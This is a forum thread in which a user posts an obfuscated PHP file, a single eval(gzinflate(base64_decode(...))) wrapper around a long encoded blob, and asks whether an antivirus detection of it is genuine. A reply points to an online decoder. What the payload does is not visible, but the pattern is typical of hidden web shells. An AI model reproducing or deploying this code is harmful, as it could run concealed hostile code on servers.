False or True virus detection in this file?

Discussion in 'General Programming Chat' started by dirkg, Mar 27, 2012.

  1. dirkg

    dirkg Registered Member

    Joined:
    Jan 18, 2012
    Messages:
    70
    Likes Received:
    7
    What is it about this php file that make virustotal show a PUA-crypt-8 virus? Just the fact that it is encoded? I tried with my limited skill set to decode it but couldnt.

    Code:
    <? eval(gzinflate(base64_decode('
    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'))); ?>
    
     
  2. weedsmoker

    weedsmoker Junior Member

    Joined:
    May 2, 2011
    Messages:
    191
    Likes Received:
    79
    Go to
    Code:
    http://www.tareeinternet.com/scripts/decrypt.php
    put your code in textbox without PHP tags (<? and ?>) and press decode to view the source.